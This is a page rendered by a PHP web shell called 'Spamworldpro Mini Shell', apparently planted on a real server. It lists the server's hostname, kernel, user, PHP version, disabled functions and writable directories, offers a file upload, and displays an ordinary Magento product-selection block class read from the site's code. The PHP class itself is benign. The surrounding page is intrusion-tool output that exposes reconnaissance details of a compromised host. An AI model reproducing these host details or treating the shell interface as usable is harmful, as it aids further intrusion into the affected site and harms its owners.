Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/CsBlock/Block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/CsBlock/Block/ProductSelection.php
<?php
/**
 * Copyright (c) 2020 Kaliop Digital Commerce (https://digitalcommerce.kaliop.com) All Rights Reserved.
 * https://opensource.org/licenses/OSL-3.0  Open Software License (OSL 3.0)
 * Cnc
 * Radosław Stępień <[email protected]> <[email protected]>
 */
namespace Cnc\CsBlock\Block;

use Aheadworks\Csblock\Model\CsblockFactory;
use Aheadworks\Csblock\Model\ResourceModel\Content\CollectionFactory as ContentCollectionFactory;
use Aheadworks\Csblock\Model\ResourceModel\Csblock\CollectionFactory as CsBlockCollectionFactory;
use Cnc\Catalog\Model\Config;
use Kaliop\CatalogGenericProductItem\ViewModel\Product\Item as GenericProductItemViewModel;
use Magento\Catalog\Api\Data\ProductInterface;
use Magento\Catalog\Model\ResourceModel\Category\CollectionFactory as CategoryCollectionFactory;
use Magento\Catalog\Model\ResourceModel\Product\CollectionFactory as ProductCollectionFactory;
use Magento\Customer\Model\Session;
use Magento\Framework\Data\Form\FormKey;
use Magento\Framework\Stdlib\DateTime\DateTime;
use Magento\Framework\View\Element\Template\Context;

class ProductSelection extends Base
{
    const PRODUCTS_SKUS = 'products_skus';
    const PRODUCTS_SKUS_DELIMITER = ',';
    const PRODUCTS_MAX_COUNT = 12;

    /**
     * @var GenericProductItemViewModel
     */
    protected $genericProductItemViewModel;

    /**
     * ProductSelection constructor.
     * @param Context $context
     * @param FormKey $formKey
     * @param CsBlockCollectionFactory $csblockCollectionFactory
     * @param ContentCollectionFactory $contentCollectionFactory
     * @param CsblockFactory $csblockFactory
     * @param Session $customerSession
     * @param DateTime $dateTime
     * @param CategoryCollectionFactory $categoryCollectionFactory
     * @param ProductCollectionFactory $productCollectionFactory
     * @param GenericProductItemViewModel $genericProductItemViewModel
     * @param array $data
     */
    public function __construct(
        Context $context,
        FormKey $formKey,
        CsBlockCollectionFactory $csblockCollectionFactory,
        ContentCollectionFactory $contentCollectionFactory,
        CsblockFactory $csblockFactory,
        Session $customerSession,
        DateTime $dateTime,
        CategoryCollectionFactory $categoryCollectionFactory,
        ProductCollectionFactory $productCollectionFactory,
        GenericProductItemViewModel $genericProductItemViewModel,
        array $data = []
    ) {
        parent::__construct(
            $context,
            $formKey,
            $csblockCollectionFactory,
            $contentCollectionFactory,
            $csblockFactory,
            $customerSession,
            $dateTime,
            $categoryCollectionFactory,
            $productCollectionFactory,
            $data
        );
        $this->genericProductItemViewModel = $genericProductItemViewModel;
    }

    /**
     * @return string
     */
    public function getProductsSkus()
    {
        return $this->getData(self::PRODUCTS_SKUS) ?: '';
    }

    /**
     * @return bool|ProductInterface[]
     */
    public function getProducts()
    {
        $selectedProducts = false;
        if ($productsSkus = $this->getProductsSkus()) {
            $productsSkusArray = explode(self::PRODUCTS_SKUS_DELIMITER, $productsSkus);
            $selectedProducts = $this->productCollectionFactory->create()
                ->addAttributeToSelect([
                    'name',
                    'image',
                    'price',
                    Config::PRODUCT_ATTRIBUTE_CODE_AVAILABILITY_ICON,
                    Config::PRODUCT_ATTRIBUTE_CODE_STATE_OF_WEAR
                ])
                ->addAttributeToFilter(
                    'sku',
                    ['in' => $productsSkusArray]
                )->getItems();
            $selectedProducts = array_slice($selectedProducts, 0, self::PRODUCTS_MAX_COUNT);
        }
        return $selectedProducts;
    }

    /**
     * @return GenericProductItemViewModel
     */
    public function getGenericProductItemViewModel()
    {
        return $this->genericProductItemViewModel;
    }
}

Spamworldpro Mini